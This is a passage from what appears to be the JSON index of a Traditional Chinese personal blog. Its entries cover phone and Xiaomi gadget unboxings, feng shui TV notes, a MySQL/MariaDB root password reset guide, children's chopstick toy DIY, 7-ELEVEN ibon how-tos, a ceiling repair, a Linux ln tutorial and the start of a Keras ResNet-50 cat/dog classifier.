換掉。\n這次買東西也是一如往常，根本沒有仔細挑，原則上就是想找一台低價位，基本功能穩定的手機，從 PCHome 上看到 Sony Xperia L2 這支今年推出的手機，加上空壓殼與玻璃保貼，價格是 5499 元，還有 NFC 功能，看起來不錯，就直接買了。\n打開外盒，裡面這個就是 Sony Xperia L2 智慧型手機。\n這些是所有的配件，除了手機之外，還有 USB 變壓器、Type C 的 USB 線、耳機麥克風，以及簡略的使用手冊（詳細的使用手冊可以上 Sony 的官方網站下載）。\n手機底部是 Type C 的 USB 孔，主要麥克風以及喇叭。\n側邊有電源與音量的按鈕。\n頂部有耳機孔與一個次要麥克風。\n另外一側則是 SIM 卡與 MicroSD 卡的插槽。\n背面則是相機鏡頭、閃光燈、NFC 感應器與指紋感應器。\n正面則有一個接近感應器、聽筒與相機鏡頭。\n這支手機原本是 4G + 2G 雙卡的設計，不過 2G 在台灣已經沒有用了，這裡只能裝一張 4G 的 SIM 卡。\nSIM 卡插槽旁邊可以再插一張 MicroSD 卡。\n這是開機之後的樣子。\n以上就是簡單的開箱文，換了這支手機之後，用 LINE 通話都非常清楚，不會像小米 Max 一樣有雜音。\n","permalink":"https://blog.gtwang.org/unboxing/sony-xperia-l2-20181002/","summary":"\u003cp\u003e本篇是我最近購買 Sony Xperia L2 手機的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e我之前買了\u003ca href=\"/unboxing/xiaomi-mi-max-mobile/\"\u003e小米 Max 手機\u003c/a\u003e，雖然小米手機的 CP 值不錯，不過在通話品質上面一值都不是很好，用 LINE 通話時，都會有一些雜音，而且感覺聲音都會有延遲，講話都不是很順。\u003c/p\u003e","title":"[開箱] Sony Xperia L2 智慧型手機"},{"content":"本篇是我看緯來綜合台風水有關係 2018/02/12 這一集的個人筆記。\n委託人身體健康出問題，罹患罕見疾病，先生薪水遭新老闆砍半，後續投資也失利。\n物件：社區大樓 格局：3 房 2 廳、27 坪 居住時間：5 年 風水訴求：事業、家運 大門口 大門外的公共空間是進氣場，代表飯碗，跟對面鄰居距離太近，連開門都會打到，就好像一碗飯兩邊再搶著吃，吃不飽，容易影響財運。\n委託人自從看上這間房子開始，就開始出現進食困難的問題。入住之後兩個月男主人的薪水就遭砍半，只好離職另找工作。\n若要化解大門外的公共空間不足問題，可以在內門與外門之間的隙縫擺放五帝錢，壓在門檻下方。大門口的動線上不宜堆積雜物，避免影響財水財氣進出。\n門口的地毯顏色最好配合房屋坐向，更能有助於運勢提升。\n客廳 房子的風水會影響屋主的運勢，從買賣契約成立之後，就開始有影響。\n從另外一個角度來說，在買房子的時候，自然也都會挑到符合自己狀況的房子，也就是說自己身上有那些問題，就對應到這間房子的風水問題。\n若自己本身運勢低落，想買房子的話，可以找一些運勢好的朋友一起去看房子。\n財水若是放在西方的時候，西方屬金，金為了生水，造成地氣會洩掉，財運就會衰退。\n西元 2004 到 2023 年，正西方及東北方屬於破財方位，不可以放水，否則容易破財。\n東方屬木，水能生木，可以旺地氣，即可旺運，故宜將水放在東方。\n當房子沒有前陽台，只有後陽台的時候，這種房子就是養老屋，適合退休養老的人居住，普通人居住會影響事業發展。\n沒有前陽台的話，可以稍微挪動沙發，空出前陽台的空間，並鋪上地毯或是木板做為區隔，營造出前陽台空間，而在前陽台的空間下面放置 36 枚五帝錢，提升地氣。\n陽台空間做出來之後，就可以在明財位放置櫃子，布置明財位。\n因為雞需要一個安靜、不會震動、穩定的巢穴，所以金雞母不可以放在電冰箱上面，宜將金雞母放在明財位，或是將冰箱換一個位置。\n在房子大門進來 45 角的最內側房間角落就是財庫，若財庫的位置有窗戶，財就會從窗戶跑出去，而窗外的後陽台又剛好是洗衣機，洗衣服的時候水就會漏掉，代表漏財。建議用冰箱遮擋窗戶，同時達到收納財水的效果。\n廚房 古代的灶是燒柴火的，所以若爐灶正對門，風容易灌進去，容易影響女主人健康，另外灶又代表財庫，若有風吹則會造成火不穩定，財庫就不穩。\n穿心煞可用一對麒麟踩八卦化解，另外拿葫蘆到廟裡過爐之後，掛在門的內外化解健康問題。葫蘆在選擇的時候，要選有開口的，代表可以裝丹藥，拿去保安宮或是神農廟（只要以前是醫生的神都可以），跟神明報告自己的姓名、地址，以及自己遇到的問題，跟神明祈求身體健康，然後葫蘆到主爐過爐，順時鐘繞三圈。\n樓梯 霧面玻璃的欄杆容易漏財，宜改成不透光的材質取代。\n女兒房間 床頭沒有靠實牆，容易造成心神不寧，床頭宜加裝櫃子化解床頭無靠，並將床移位避開柱刀切床。\n鏡子不能照到床，否則容易影響感情，宜將鏡子用厚一點的布遮住做化解。\n主臥室 窗外壁刀直接切到床，睡在那裏的人容易有血光之災，可掛乾坤太極圖化解。\n主臥室的窗戶位置剛好是在餐廳的正上方，因此同樣為家中財庫的位置，開窗會造成漏財，宜將窗簾拉上。\n","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20170212/","summary":"\u003cp\u003e本篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=zUejnH5W3KU\"\u003e風水有關係 2018/02/12\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e委託人身體健康出問題，罹患罕見疾病，先生薪水遭新老闆砍半，後續投資也失利。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e物件：社區大樓\u003c/li\u003e\n\u003cli\u003e格局：3 房 2 廳、27 坪\u003c/li\u003e\n\u003cli\u003e居住時間：5 年\u003c/li\u003e\n\u003cli\u003e風水訴求：事業、家運\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，沒陽台、漏財、壁刀 2017/02/12 筆記"},{"content":"本篇介紹如何在 CentOS Linux 中重新設定 MySQL/MariaDB 資料庫的 root 管理者密碼。\nMySQL/MariaDB 資料庫的 root 管理者密碼跟 Linux 系統的 root 密碼是分開的，通常因為安全性，也不會設成一樣的密碼，由於 MySQL/MariaDB 的 root 密碼不常用，時間一久就忘記了。\n以下介紹如在 CentOS Linux 中以以安全模式啟動 MySQL/MariaDB 資料庫，然後重新設定資料庫的 root 管理者密碼。\nStep 1\n停止系統的 MariaDB（或 MySQL）服務。\n# 停止 MariaDB 服務 sudo systemctl stop mariadb # 停止 MySQL 服務 sudo systemctl stop mysql Step 2\n在啟動 MySQL 或 MariaDB 時，若跳過 trant table 的話，就可以在不用密碼的情況下以資料庫 root 權限存取資料庫裡面的資料，這樣我們就可以重設密碼。\n不過以這種模式啟動資料庫會有風險，所以建議關閉網路功能（networking），以防止外部的使用者連入。\n# 跳過 trant table 與 networking 啟動 MySQL/MariaDB sudo mysqld_safe --skip-grant-tables --skip-networking \u0026amp; Step 3\n使用 root 帳號連線至 MySQL/MariaDB 資料庫：\n# 以 root 連線至 MySQL/MariaDB 資料庫 mysql -u root Step 4\n讓資料庫載入 grant tables：\n-- 載入 grant tables FLUSH PRIVILEGES; Step 5\n變更 root 密碼：\n-- 重設 root 密碼 ALTER USER \u0026#39;root\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;new_password\u0026#39;; 若是 MySQL 5.7.5 或 MariaDB 10.1.20 以前的版本，則要改用舊的指令：\n-- 重設 root 密碼（舊版指令） SET PASSWORD FOR \u0026#39;root\u0026#39;@\u0026#39;localhost\u0026#39; = PASSWORD(\u0026#39;new_password\u0026#39;); 更改完成後，按下 Ctrl + d（或執行 exit 指令）離開。\nStep 6\n停止剛剛手動啟動的 MariaDB（或 MySQL）資料庫。\n# 停止 MariaDB sudo kill `cat /var/run/mariadb/mariadb.pid` # 停止 MySQL sudo kill `cat /var/run/mysqld/mysqld.pid` Step 7\n啟動系統的 MariaDB（或 MySQL）服務。\n# 啟動 MariaDB 服務 sudo systemctl start mariadb # 啟動 MySQL 服務 sudo systemctl start mysql Step 8\n使用 root 與新密碼進入 MySQL/MariaDB 資料庫。\n# 使用新密碼進入資料庫 mysql -u root -p 參考資料 DigitalOcean ","permalink":"https://blog.gtwang.org/linux/mysql-mariadb-forget-reset-password-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 CentOS Linux 中重新設定 MySQL/MariaDB 資料庫的 \u003ccode\u003eroot\u003c/code\u003e 管理者密碼。\u003c/p\u003e\n\u003cp\u003eMySQL/MariaDB 資料庫的 \u003ccode\u003eroot\u003c/code\u003e 管理者密碼跟 Linux 系統的 \u003ccode\u003eroot\u003c/code\u003e 密碼是分開的，通常因為安全性，也不會設成一樣的密碼，由於 MySQL/MariaDB 的 \u003ccode\u003eroot\u003c/code\u003e 密碼不常用，時間一久就忘記了。\u003c/p\u003e","title":"CentOS Linux 的 MySQL/MariaDB 資料庫忘記密碼重新設定教學"},{"content":"本篇是小米的藍牙溫濕度計、溫溼度感應器與行動電源的簡單開箱文。\n最近阿玄去均頭國小念書，給他買了一支INO CP300 的手機之後，為了解決充電問題，所以打算再買了一個行動電源，同時順便又添購米家的溫濕度計，以下是簡單的開箱記錄。\n從小米官方網站訂購之後，過了幾天就收到貨了。\n這次我買了一個米家藍牙溫濕度計、一個溫溼度感應器與一個行動電源 2（5000）。\n小米行動電源 2（5000） 行動電源的盒子上還有一張防偽標籤。\n刮掉防偽標籤的塗層之後，可以用這組驗證碼至官方網站檢查是否為正品。\n這是小米的行動電源與 USB 充電線。\n這是行動電源的側面。\n這是行動電源的另一側。\n撕開保護膜。\n這一側有開關、USB 孔與電量指示燈，操作方式就跟一般的行動電源一樣。\n米家藍牙溫濕度計 這一個是米家藍牙溫濕度計。\n除了溫濕度計，沒有其他的配件，只有說明書。\n背面有一塊板子，是靠磁鐵吸住的。\n板子的背面有雙面膠，可以貼在牆上。\n使用一顆 4 號（AAA）電池。\n裝上電池之後，就會顯示溫度與濕度。\n透過藍牙功能，可將溫溼度傳送至手機。\n米家溫溼度感應器 這是米家溫溼度感應器，他使用的電池是 CR2032 水銀電池。\n米家溫溼度感應器也沒有其他配件，除了說明書之外，只有一小張圓圈型的雙面膠。\n上方有一個按鈕。\n下方則是溫溼度感測器。\n背面的蓋子可以用硬幣打開。\n打開後裝入 CR2032 的電池即可使用。\n由於這款米家溫溼度感應器是使用 ZigBee 來傳輸訊號的，所以要搭配支援 ZigBee 的設備才能使用（例如米家智慧插座）。\n","permalink":"https://blog.gtwang.org/unboxing/xiaomi-smart-temperature-humidity-sensor-and-mobile-power-20180926/","summary":"\u003cp\u003e本篇是小米的藍牙溫濕度計、溫溼度感應器與行動電源的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近\u003ca href=\"/children/jtjhs-puli-nantou-20180830/\"\u003e阿玄去均頭國小念書\u003c/a\u003e，給他買了一支\u003ca href=\"/unboxing/ino-cp300-4g-mobile-phone/\"\u003eINO CP300 的手機\u003c/a\u003e之後，為了解決充電問題，所以打算再買了一個行動電源，同時順便又添購米家的溫濕度計，以下是簡單的開箱記錄。\u003c/p\u003e","title":"[開箱] 米家藍牙溫濕度計、溫溼度感應器與行動電源"},{"content":"這裡介紹如何使用免洗竹筷子與橡皮筋，自己製作簡單的陀螺童玩。\n免洗的竹筷子與橡皮筋可以用來製作各種的童玩，最常見的就是橡皮筋竹筷槍，除此之外也可以用來製作陀螺，以下是製作的步驟。\n準備材料 製作竹筷陀螺需要的材料就是一些免洗竹筷，還有橡皮筋。\n另外可以準備一台削鉛筆機，用來把陀螺的軸心削尖，會讓陀螺比較好轉。\n製作步驟 拿兩雙竹筷子，用橡皮筋兩兩綁在一起，另外一端不要綁。\n拿另外一跟竹筷，用削鉛筆機削尖。\n削尖之後，作為陀螺的軸心。\n將削好的竹筷子，穿入兩根竹筷中間。\n把兩根竹筷的另外一頭也綁上橡皮筋。\n將另外兩根竹筷以同樣的方式穿進去。\n同樣在另外一頭綁上橡皮筋。\n在中間交叉的部分，也綁上橡皮筋。\n綁的時候，方向都要對稱。\n這樣竹筷陀螺童玩就製作完成了。\n用一隻手轉一下就可以玩了。\n小朋友的話，也可以用兩隻手一起轉。\n","permalink":"https://blog.gtwang.org/diy/diy-bamboo-chopsticks-gyro-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用免洗竹筷子與橡皮筋，自己製作簡單的陀螺童玩。\u003c/p\u003e\n\u003cp\u003e免洗的竹筷子與橡皮筋可以用來製作各種的童玩，最常見的就是\u003ca href=\"/diy/diy-chopstick-rubber-band-gun-tutorial/\"\u003e橡皮筋竹筷槍\u003c/a\u003e，除此之外也可以用來製作陀螺，以下是製作的步驟。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"準備材料\"\u003e準備材料\u003c/h2\u003e\n\u003cp\u003e製作竹筷陀螺需要的材料就是一些免洗竹筷，還有橡皮筋。\u003c/p\u003e","title":"[DIY] 竹筷陀螺童玩製作教學"},{"content":"這裡介紹如何使用免洗竹筷子與橡皮筋，自己製作可用來發射橡皮筋的竹筷槍。\n橡皮筋竹筷槍是許多小朋友都喜歡玩的童玩，材料取得容易，製作方法也很簡單，以下是橡皮筋竹筷槍的製作步驟與教學。\n準備材料 要製作橡皮筋竹筷槍，需要準備的材料就是幾雙免洗竹筷，以及數條橡皮筋，工具的部分則會需要一把美工刀（或是其他方便切斷免洗筷的工具）。\n製作步驟 Step 1\n先拿三根竹筷子，用兩條橡皮筋綁起來，調整成以下這個樣子。\nStep 2\n拿一根竹筷子，用美工刀切成長度相等的兩截。切的時候可以放在桌上，以前後滾動的方式慢慢切。\n竹筷子切開之後會像這樣。\nStep 3\n拿一條橡皮筋，將切成兩段的竹筷綁在一起，綁的時候綁一邊即可，另外一邊不要綁。\nStep 4\n將綁在一起的竹筷打開（打開沒有綁的那一側），用橡皮筋再綁在前面三根竹筷的中間空隙處。\n綁上去之後，調整成像這樣。\n這個部分就是槍的把手。\nStep 5\n再拿一根竹筷，切一小截下來製作板機，長度大約是取整根竹筷的四分之一左右。\nStep 6\n將小根的竹筷插在把手前方的空隙中，依照小朋友手的大小，自己調整一下前後的位置。\nStep 7\n綁上橡皮筋固定板機，這部分可以先用一條橡皮筋固定位置，然後再綁一條橡皮筋上去，調整板機的角度，要讓它有點向後傾斜，這樣才能勾住橡皮筋。\nStep 8\n切一小段竹筷（大約一至兩公分左右），綁在槍的最前端，這是用來勾住橡皮筋用了。\nStep 9\n這樣就完成橡皮筋竹筷槍童玩的製作了。\nStep 10\n若使用一般正常的竹筷製作出來的竹槍，尺寸適用於普通大小的橡皮筋，安裝橡皮筋的時候就像這樣把橡皮筋勾上去即可。\n如果想要安裝小條一點的橡皮筋，可以自己把最前面那一支槍桿的竹筷切短一點。\n橡皮筋張上去之後，扣下板機極可發射橡皮筋。\n安裝橡皮筋的後，前端勾上去的時候會像這樣，所以這邊紅色的橡皮筋一定要纏繞得夠緊，不然黃色橡皮筋容易塞進縫裡，就無法發射了。\n製作的時候記得要根據小朋友手的尺寸，調整把手與板機的位置。\n橡皮筋與竹筷子除了製作竹筷槍之外，可以製作竹筷陀螺，作法也很簡單。\n小朋友玩竹槍 以下是阿玄玩竹槍的照片。\n幕後花絮 以下是我在製作竹槍的時候，阿玄拿自己的相機在旁邊幫我拍攝的照片。\n","permalink":"https://blog.gtwang.org/diy/diy-chopstick-rubber-band-gun-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用免洗竹筷子與橡皮筋，自己製作可用來發射橡皮筋的竹筷槍。\u003c/p\u003e\n\u003cp\u003e橡皮筋竹筷槍是許多小朋友都喜歡玩的童玩，材料取得容易，製作方法也很簡單，以下是橡皮筋竹筷槍的製作步驟與教學。\u003c/p\u003e","title":"[DIY] 橡皮筋竹筷槍童玩製作教學"},{"content":"本篇介紹如何使用 7-ELEVEN 的 ibon，查詢悠遊卡的內碼、卡片驗證碼。\n每一張悠遊卡都有一條內碼與驗證碼，在電子發票整合平台新增悠遊卡載具時，就會需要用到這些資訊，如果想要知道悠遊卡的內碼與驗證碼，可以使用 7-ELEVEN 的 ibon 來查詢，以下是操作步驟。\nStep 1\n在 ibon 主選單中，選擇「生活服務」。\nStep 2\n選擇「電子發票」。\nStep 3\n選擇「財政部電子發票整合服務平台」。\nStep 4\n選擇「載具帳號申請」。\nStep 5\n選擇「悠遊卡」。\nStep 6\n閱讀悠遊卡帳號申請聲明書，點選「同意，繼續下一步」。\nStep 7\n感應悠遊卡。\n將自己的悠遊卡放在感應區。\nStep 8\n成功感應卡片之後，就可以看到卡片的內碼與驗證碼。\nStep 9\n輸入自己的 Email 信箱，即可將卡片的內碼與驗證碼寄到自己的 Email 信箱。\n","permalink":"https://blog.gtwang.org/life/7-eleven-ibon-query-easy-card-internal-and-verification-code/","summary":"\u003cp\u003e本篇介紹如何使用 7-ELEVEN 的 ibon，查詢悠遊卡的內碼、卡片驗證碼。\u003c/p\u003e\n\u003cp\u003e每一張悠遊卡都有一條內碼與驗證碼，在電子發票整合平台新增悠遊卡載具時，就會需要用到這些資訊，如果想要知道悠遊卡的內碼與驗證碼，可以使用 7-ELEVEN 的 ibon 來查詢，以下是操作步驟。\u003c/p\u003e","title":"7-ELEVEN ibon 查詢悠遊卡內碼、卡片驗證碼教學"},{"content":"本篇記錄自己更換輕鋼架天花板的過程。\n最近家裡老舊的天花板因為長期下雨，發霉得很嚴重，所以我上網買了一箱 PVC 材質的輕鋼架天花板，打算把原本發霉的石膏板換掉，避免以後又發霉。\n以前這種天花板大概只有建材行或類似 B\u0026amp;Q 特力屋的賣場才有賣，現在網路上直接訂購，隔天就送到家了，非常方便，不用自己開車去賣場搬貨。\n因為我的環境怕潮濕發霉，所以選 PVC 材質的板子，完全不怕潮濕，髒了還可以拆下來用水洗，而牌子則是挑台灣製的，用起來比大陸貨安心一些。\n打開箱子，裡面有一片防撞用的木板。\n這樣一箱價格是 840 元，運費則是 150 元，裡面有 18 片，可以舖剛好兩坪的面積。\n輕鋼架天花板的尺寸只有一種，都是 60 公分 x 60 公分左右，所以在挑板子的時候，只需要考慮材質與花色就可以了。\n這款 PVC 的天花板是中空的，所以跟傳統的石膏板比起來，重量輕很多，自己裝也很輕鬆、不費力。\n接下來就是要把舊的輕鋼架天花板拆下來，這一步是最辛苦的！\n好不容易拆掉了舊的天花板。\n接著測量天花板的尺寸，把要裁切的地方標示好，用鋸子裁切一下。\nPVC 的材質非常好鋸，不太需要花什麼力氣。\n將裁切好的 PVC 天花板裝上去，這樣就完成天花板的更換了。\n以下是其他地方的天花板更換過程，作法大同小異。\n最後有一些裁切下來的零碎 PVC 天花板，可以順便把邊邊角角的部位換一下。\n","permalink":"https://blog.gtwang.org/diy/diy-change-light-steel-frame-pvc-ceiling-20180920/","summary":"\u003cp\u003e本篇記錄自己更換輕鋼架天花板的過程。\u003c/p\u003e\n\u003cp\u003e最近家裡老舊的天花板因為長期下雨，發霉得很嚴重，所以我上網買了一箱 PVC 材質的輕鋼架天花板，打算把原本發霉的石膏板換掉，避免以後又發霉。\u003c/p\u003e","title":"[DIY] 自己更換輕鋼架 PVC 天花板記錄"},{"content":"本篇介紹如何使用 Linux 的 ln 指令建立各種連結檔案。\n建立硬連結 所謂的硬連結就是使用相同 inode 的連結檔案，ln 指令預設就是建立硬連結：\n# 建立硬連結 ln test.txt test_hardlink.txt 這樣就會建立一個 test_hardlink.txt 硬連結檔，指向 test.txt 這個檔案。\n建立了硬連結之後，可以查看一下 inode：\n# 查看 inode ls -i test.txt test_hardlink.txt 787682 test_hardlink.txt 787682 test.txt 硬連結會跟原來的檔案有相同的 inode。\n建立軟連結 軟連結（符號連結）則是靠著絕對路徑或相對路徑來指向目標檔案的連結檔，若要使用 ln 指令建立軟連結，可以加上 -s 參數：\n# 建立軟連結 ln -s test.txt test_softlink.txt 這樣就會建立一個 test_softlink.txt 軟連結檔，指向 test.txt 這個檔案。\n查看一下 inode：\n# 查看 inode ls -i test.txt test_softlink.txt 792852 test_softlink.txt 787682 test.txt 軟連結的 inode 就會跟原始的檔案不相同。\n強制覆蓋舊檔 在預設的狀況下，如果指定的目標連結檔案已經存在的話，ln 在建立連結檔案時就會出現錯誤：\n# 建立軟連結 ln -s test.txt test_softlink.txt ln: failed to create symbolic link 'test_softlink.txt': 檔案已存在 若要強制覆蓋舊檔，可以加上 -f 參數：\n# 強制覆蓋舊檔 ln -f -s test.txt test_softlink.txt 自動備份舊檔 在目標連結檔案已經存在的狀況下，除了強制覆蓋掉之外，也可以使用 -b 參數，自動將舊檔備份起來，再建立新的連結檔：\n# 自動備份舊檔 ln -b -s test.txt test_softlink.txt ln 會將原本的檔案名稱後方加上一個 ~，作為備份檔的檔名：\nls -lart test_softlink.txt* lrwxrwxrwx 1 gtwang gtwang 8 9月 20 11:21 test_softlink.txt~ -\u003e test.txt lrwxrwxrwx 1 gtwang gtwang 8 9月 20 11:22 test_softlink.txt -\u003e test.txt 若要更改備份檔名的結尾名稱，可以使用 -S 參數指定新的名稱：\n# 指定備份檔結尾名稱 ln -b -S \u0026#34;.backup\u0026#34; -s test.txt test_softlink.txt 這樣 ln 就會使用原本的檔案名稱加上 .backup 作為備份檔案名稱。\n路徑 在建立連結檔案時，亦可使用相對路徑或是絕對路徑，例如：\n# 使用相對路徑 ln -s ../source/test.txt test.txt # 使用絕對路徑 ln -s /home/gtwang/source/test.txt test.txt 由於軟連結是直接靠著路徑來指向目標檔案的，所以對於軟連結來說，使用相對路徑與絕對路徑所建立的連結檔案效果會有不同，在搬移軟連結檔案時，以絕對路徑所建立的連結檔還是會指向相同的位置，而以相對路徑所建立的連結檔，其指向的位置就會跟著連結檔的位置而有變動。\n至於硬連結檔是直接使用相同的 inode，所以不管是用相對路徑或絕對路徑，效果都相同。\n參考資料 HowtoForge ","permalink":"https://blog.gtwang.org/linux/linux-ln-command-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何使用 Linux 的 \u003ccode\u003eln\u003c/code\u003e 指令建立各種連結檔案。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"建立硬連結\"\u003e建立硬連結\u003c/h2\u003e\n\u003cp\u003e所謂的硬連結就是使用相同 inode 的連結檔案，\u003ccode\u003eln\u003c/code\u003e 指令預設就是建立硬連結：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 建立硬連結\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eln test.txt test_hardlink.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e這樣就會建立一個 \u003ccode\u003etest_hardlink.txt\u003c/code\u003e 硬連結檔，指向 \u003ccode\u003etest.txt\u003c/code\u003e 這個檔案。\u003c/p\u003e","title":"Linux 建立連結檔 ln 指令教學與範例"},{"content":"本篇介紹如何在 7-ELEVEN 使用 ibon 的交貨便，寄送店到店包裹，本店寄件、他店取貨。\n7-ELEVEN 的交貨便是一項店到店的包裹寄送服務，可從任何一家 7-ELEVEN 寄件，寄送至全台任何一家 7-ELEVEN，當天 17:00 前寄件的話，兩天後的下午就可以取件，而運費只要 60 元，非常便宜又方便。\n以下是在 7-ELEVEN 使用 ibon 的交貨便寄送包裹的流程。 Step 1\n在 ibon 主選單中，選擇「交貨便」。\nStep 2\n選擇「寄件」。\nStep 3\n選擇「ibon 寄件」。\nStep 4\n選擇「立即寄件」。\nStep 5\n輸入包裹價值。萬一包裹發生破損或遺失的時候，會以這個為依據來賠償，上限為 1,000 元。\nStep 6\n輸入寄件者的姓名。若包裹發生退件的狀況，寄件者就要拿身分證來核對姓名，然後才可以領回包裹，所以姓名一定要輸入正確。\nStep 7\n輸入寄件者的手機號碼。若發生退件時，就要靠這個寄件者手機來聯絡，所以也不可以填錯。\nStep 8\n輸入取件者的姓名，取件時要核對身分證的姓名才能取件。\nStep 9\n輸入取件者的手機號碼，包裹寄送至目的地時，會發送簡訊到這個手機號碼，通知收件人來店取件。\nStep 10\n選擇收件的 7-ELEVEN 門市，可以直接從選單中依照地區來選擇。\nStep 11\n每個 7-ELEVEN 都會有一個名稱與代號，建議可以先從 ibon 的網站上查好門市的名稱或是代號，直接輸入名稱或代號來搜尋會更快。\n找到收件的門市之後，點一下該門市。 Step 12\n確認一下選擇的門市地點是否正確。\nStep 13\n確認寄件人與收件人等資料是否正確。\nStep 14\n閱讀服務須知。\nStep 15\n勾選剛剛輸入的那一項寄件資料，若認無誤後，點選「確認」。\nStep 16\n等待影印機列印寄件單。\nStep 17\n通常 ibon 附近都會放置這種交貨便寄件單專用袋，寄件單要用這個袋子來黏貼，如果沒看到的話可以詢問一下店員。\nStep 18\n將列印出來的寄件單裁切下來之後，放進交貨便寄件單專用袋之中。\nStep 19\n把交貨便寄件單貼在自己的包裹上，然後再拿到櫃台寄送，並且支付 60 元運費，這樣就完成寄件的工作了。\n如果當天 17:00 以前寄件的話，隔兩天的 13:00 以後即可取件。\n","permalink":"https://blog.gtwang.org/life/7-eleven-ibon-jiao-huo-bian-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 7-ELEVEN 使用 ibon 的交貨便，寄送店到店包裹，本店寄件、他店取貨。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.7-11.com.tw/service/accept.aspx\"\u003e7-ELEVEN 的交貨便\u003c/a\u003e是一項店到店的包裹寄送服務，可從任何一家 7-ELEVEN 寄件，寄送至全台任何一家 7-ELEVEN，當天 17:00 前寄件的話，兩天後的下午就可以取件，而運費只要 60 元，非常便宜又方便。\u003c/p\u003e","title":"7-ELEVEN 使用 ibon 交貨便寄送店到店包裹教學"},{"content":"本篇介紹如何使用 7-ELEVEN 的 ibon 查詢悠遊卡的交易記錄。\n現在許多的便利商店、車站等都可以使用悠遊卡消費，如果想要查詢悠遊卡的歷史消費記錄，可以利用 7-ELEVEN 的 ibon 來查詢，以下是查詢步驟。\nStep 1\n在 ibon 主選單中，選擇「生活服務」。\nStep 2\n選擇「icash/悠遊卡/一卡通查詢」。\nStep 3\n選擇「悠遊卡」。\nStep 4\n選擇要查詢的項目，可以選擇最近幾筆交易，或是一個月內的歷史交易記錄。\nStep 5\n將悠遊卡放置在 ibon 的卡片感應區。\n感應區就在 ibon 螢幕的下方。\nStep 7\n感應卡片之後，就可以查出這張悠遊卡的交易記錄。\n","permalink":"https://blog.gtwang.org/life/7-eleven-ibon-query-easy-card-transaction-record/","summary":"\u003cp\u003e本篇介紹如何使用 7-ELEVEN 的 ibon 查詢悠遊卡的交易記錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e現在許多的便利商店、車站等都可以使用悠遊卡消費，如果想要查詢悠遊卡的歷史消費記錄，可以利用 7-ELEVEN 的 ibon 來查詢，以下是查詢步驟。\u003c/p\u003e","title":"7-ELEVEN ibon 查詢悠遊卡交易紀錄教學"},{"content":"這裡示範在 Keras 架構下以 ResNet-50 預訓練模型為基礎，建立可用來辨識狗與貓的 AI 程式。\n在 Keras 的部落格中示範了使用 VGG16 模型建立狗與貓的辨識程式，準確率大約為 94%，而這裡則是改用 ResNet50 模型為基礎，並將輸入影像尺寸提高為 224x224，加上大量的 data augmentation，結果可讓辨識的準確率達到 99%。\n本篇文章所使用的 Keras 是 TensorFlow 1.8.0 所內建的版本，不同版本可能會有一些差異。\n準備資料 從 Kaggle 的網站上下載 train.zip 壓縮檔，然後解壓縮：\n# 解壓縮 train.zip unzip train.zip 建立好目錄結構：\n# 建立目錄結構 mkdir -p sample/train/cats mkdir -p sample/train/dogs mkdir -p sample/valid/cats mkdir -p sample/valid/dogs 選擇貓與狗各前 1000 張照片作為訓練資料集，另各取 400 張作為測試資料集：\n# 複製圖片 cd train cp cat.?.jpg cat.??.jpg cat.???.jpg ../sample/train/cats/ cp dog.?.jpg dog.??.jpg dog.???.jpg ../sample/train/dogs/ cp cat.1[0-3]??.jpg ../sample/valid/cats/ cp dog.1[0-3]??.jpg ../sample/valid/dogs/ 建立與訓練模型 以下是以 ResNet-50 預訓練模型為基礎，建立與訓練狗與貓辨識模型的程式碼：\nfrom tensorflow.python.keras import backend as K from tensorflow.python.keras.models import Model from tensorflow.python.keras.layers import Flatten, Dense, Dropout from 